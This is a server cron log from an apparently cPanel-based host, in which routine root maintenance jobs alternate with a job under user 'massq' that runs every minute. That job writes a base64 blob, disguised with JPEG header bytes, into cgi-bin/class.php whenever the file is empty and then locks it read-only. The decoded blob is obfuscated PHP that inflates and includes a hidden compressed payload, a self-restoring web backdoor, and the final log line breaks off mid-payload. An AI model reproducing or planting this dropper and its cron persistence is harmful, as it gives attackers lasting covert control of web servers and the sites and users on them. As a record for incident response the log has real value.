Sep  9 02:03:01 server CROND[3185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:03:01 server CROND[3183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:04:01 server CROND[3545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:04:01 server CROND[3546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:04:01 server CROND[3547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:05:01 server CROND[3934]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:05:01 server CROND[3936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:05:01 server CROND[3950]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 02:05:01 server CROND[3952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:05:01 server CROND[3953]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 02:05:01 server CROND[3957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:05:01 server CROND[3955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:05:01 server CROND[3954]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:05:01 server CROND[3958]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:06:01 server CROND[4796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:06:01 server CROND[4797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:06:01 server CROND[4798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:07:01 server CROND[5277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:07:01 server CROND[5279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:07:01 server CROND[5280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:08:01 server CROND[5657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:08:01 server CROND[5659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:08:01 server CROND[5658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:09:01 server CROND[6048]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 02:09:01 server CROND[6050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:09:01 server CROND[6049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:09:01 server CROND[6051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:10:01 server CROND[6512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:10:01 server CROND[6513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:10:01 server CROND[6523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:10:01 server CROND[6525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:10:01 server CROND[6524]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:10:01 server CROND[6526]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:10:01 server CROND[6536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:10:01 server CROND[6535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:11:01 server CROND[7361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:11:01 server CROND[7362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:11:01 server CROND[7363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:12:01 server CROND[8381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:12:01 server CROND[8383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:12:01 server CROND[8385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:12:01 server CROND[8384]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 02:13:01 server CROND[9563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:13:01 server CROND[9562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:13:01 server CROND[9561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:14:01 server CROND[10405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:14:01 server CROND[10406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:14:01 server CROND[10408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:15:01 server CROND[10797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:15:01 server CROND[10799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:15:01 server CROND[10804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:15:01 server CROND[10806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:15:01 server CROND[10803]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 02:15:01 server CROND[10805]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 02:15:01 server CROND[10809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:15:01 server CROND[10808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0